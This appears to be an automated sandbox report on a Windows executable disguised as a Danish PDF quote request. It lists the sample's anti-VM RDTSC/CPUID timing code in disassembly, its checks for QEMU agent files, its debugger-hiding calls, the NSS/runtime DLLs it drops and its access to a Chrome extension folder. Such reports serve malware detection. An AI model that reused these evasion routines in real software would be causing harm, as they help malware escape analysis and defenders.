Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A453B second address: 00000000022A453B instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F0BED037528h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d test bl, bl 0x0000001f test ch, bh 0x00000021 add edi, edx 0x00000023 test dh, 00000019h 0x00000026 dec dword ptr [ebp+000000F8h] 0x0000002c cmp dword ptr [ebp+000000F8h], 00000000h 0x00000033 jne 00007F0BED037503h 0x00000035 test bl, cl 0x00000037 call 00007F0BED037548h 0x0000003c call 00007F0BED037538h 0x00000041 lfence 0x00000044 mov edx, dword ptr [7FFE0014h] 0x0000004a lfence 0x0000004d ret 0x0000004e mov esi, edx 0x00000050 pushad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A4B5A second address: 00000000022A4B5A instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a inc ebx 0x0000000b cmp ebx, eax 0x0000000d je 00007F0BED03762Fh 0x00000013 cmp byte ptr [ebx], FFFFFFB8h 0x00000016 jne 00007F0BED037509h 0x00000018 pushad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A4BFD second address: 00000000022A4BFD instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a inc ebx 0x0000000b cmp byte ptr [ebx], FFFFFFC2h 0x0000000e jne 00007F0BED03A931h 0x00000010 pushad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A295B second address: 00000000022A2998 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a pop dword ptr [ebp+0000012Ch] 0x00000010 cmp al, 21h 0x00000012 mov dword ptr [ebp+68h], 00000000h 0x00000019 jmp 00007F0BED038045h 0x0000001e call 00007F0BED036A02h 0x00000023 pop dword ptr [ebp+64h] 0x00000026 cmp dh, bh 0x00000028 jmp 00007F0BED037DB2h 0x0000002d call 00007F0BED036C93h 0x00000032 cmp cl, 00000003h 0x00000035 pop dword ptr [ebp+6Ch] 0x00000038 mov dword ptr [ebp+70h], 00000000h 0x0000003f pushad 0x00000040 mov edi, 00000003h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A29B4 second address: 00000000022A29B4 instructions:
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 0000000000561805 second address: 0000000000561805 instructions:
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000005618F8 second address: 00000000005618F8 instructions:
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 0000000000561A99 second address: 0000000000561A99 instructions:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.877495152.0000000000561000.00000040.00000001.sdmp

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A453B second address: 00000000022A453B instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F0BED037528h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d test bl, bl 0x0000001f test ch, bh 0x00000021 add edi, edx 0x00000023 test dh, 00000019h 0x00000026 dec dword ptr [ebp+000000F8h] 0x0000002c cmp dword ptr [ebp+000000F8h], 00000000h 0x00000033 jne 00007F0BED037503h 0x00000035 test bl, cl 0x00000037 call 00007F0BED037548h 0x0000003c call 00007F0BED037538h 0x00000041 lfence 0x00000044 mov edx, dword ptr [7FFE0014h] 0x0000004a lfence 0x0000004d ret 0x0000004e mov esi, edx 0x00000050 pushad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A455B second address: 00000000022A455B instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F0BED03AD3Ah 0x0000001d popad 0x0000001e call 00007F0BED03AA51h 0x00000023 lfence 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A4B5A second address: 00000000022A4B5A instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a inc ebx 0x0000000b cmp ebx, eax 0x0000000d je 00007F0BED03762Fh 0x00000013 cmp byte ptr [ebx], FFFFFFB8h 0x00000016 jne 00007F0BED037509h 0x00000018 pushad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A4BFD second address: 00000000022A4BFD instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a inc ebx 0x0000000b cmp byte ptr [ebx], FFFFFFC2h 0x0000000e jne 00007F0BED03A931h 0x00000010 pushad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A295B second address: 00000000022A2998 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 00000001h 0x00000007 cpuid 0x00000009 popad 0x0000000a pop dword ptr [ebp+0000012Ch] 0x00000010 cmp al, 21h 0x00000012 mov dword ptr [ebp+68h], 00000000h 0x00000019 jmp 00007F0BED038045h 0x0000001e call 00007F0BED036A02h 0x00000023 pop dword ptr [ebp+64h] 0x00000026 cmp dh, bh 0x00000028 jmp 00007F0BED037DB2h 0x0000002d call 00007F0BED036C93h 0x00000032 cmp cl, 00000003h 0x00000035 pop dword ptr [ebp+6Ch] 0x00000038 mov dword ptr [ebp+70h], 00000000h 0x0000003f pushad 0x00000040 mov edi, 00000003h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A2998 second address: 00000000022A29B4 instructions: 0x00000000 rdtsc 0x00000002 popad 0x00000003 mov dword ptr [ebp+74h], 00000000h 0x0000000a mov dword ptr [ebp+000000ACh], 0008F400h 0x00000014 mov dword ptr [ebp+7Ch], 00000000h 0x0000001b pushad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000022A29B4 second address: 00000000022A29B4 instructions:
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 000000000056455B second address: 000000000056455B instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007F0BED03AD3Ah 0x0000001d popad 0x0000001e call 00007F0BED03AA51h 0x00000023 lfence 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 0000000000561805 second address: 0000000000561805 instructions:
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 00000000005618F8 second address: 00000000005618F8 instructions:
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	RDTSC instruction interceptor: First address: 0000000000561A99 second address: 0000000000561A99 instructions:

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: 0_2_022A3F21 rdtsc

0_2_022A3F21

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\qipcap.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\lgpllibs.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldif60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\prldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\breakpadinjector.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssckbi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\libEGL.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Registry key enumerated: More than 152 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\SysWOW64\timeout.exe TID: 2460

Thread sleep count: 77 > 30

Jump to behavior

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: 12_2_6D0E199C GetSystemInfo,MapViewOfFile,

12_2_6D0E199C

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior

Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880896126.0000000066A10000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880896126.0000000066A10000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.877495152.0000000000561000.00000040.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880896126.0000000066A10000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000002.880896126.0000000066A10000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Anti Debugging:

Contains functionality to hide a thread from the debugger

Show sources

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: 0_2_022A1F10 NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000

0_2_022A1F10

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: 0_2_022A3F21 rdtsc

0_2_022A3F21

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: 0_2_022A29E9 LdrInitializeThunk,

0_2_022A29E9

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: 12_2_6D0E308C IsDebuggerPresent,OutputDebugStringA,_dup,_fdopen,__vfprintf_l,fclose,

12_2_6D0E308C

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00403E7A mov ebx, dword ptr fs:[00000030h]	0_2_00403E7A
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404015 mov ebx, dword ptr fs:[00000030h]	0_2_00404015
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004040F0 mov ebx, dword ptr fs:[00000030h]	0_2_004040F0
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404081 mov ebx, dword ptr fs:[00000030h]	0_2_00404081
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_0040415D mov ebx, dword ptr fs:[00000030h]	0_2_0040415D
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_004041C0 mov ebx, dword ptr fs:[00000030h]	0_2_004041C0
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00404230 mov ebx, dword ptr fs:[00000030h]	0_2_00404230
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00403EC3 mov ebx, dword ptr fs:[00000030h]	0_2_00403EC3
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_00403FA7 mov ebx, dword ptr fs:[00000030h]	0_2_00403FA7
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A1A42 mov eax, dword ptr fs:[00000030h]	0_2_022A1A42
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A1A95 mov eax, dword ptr fs:[00000030h]	0_2_022A1A95
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A3EFE mov eax, dword ptr fs:[00000030h]	0_2_022A3EFE
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A4350 mov eax, dword ptr fs:[00000030h]	0_2_022A4350
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A13B6 mov eax, dword ptr fs:[00000030h]	0_2_022A13B6
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A2582 mov eax, dword ptr fs:[00000030h]	0_2_022A2582
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 0_2_022A49C2 mov eax, dword ptr fs:[00000030h]	0_2_022A49C2

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 12_2_6D0F7414 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		12_2_6D0F7414
